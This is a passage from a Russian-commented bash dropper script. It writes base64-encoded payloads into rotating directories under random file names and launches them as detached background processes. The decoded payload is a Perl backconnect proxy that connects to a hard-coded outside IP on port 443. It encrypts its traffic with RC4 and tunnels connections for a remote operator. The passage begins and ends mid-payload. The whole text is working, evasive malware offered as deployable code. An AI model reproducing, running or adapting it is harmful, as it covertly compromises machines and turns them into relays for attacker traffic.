bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #35 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #35 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 36 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xODQnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg 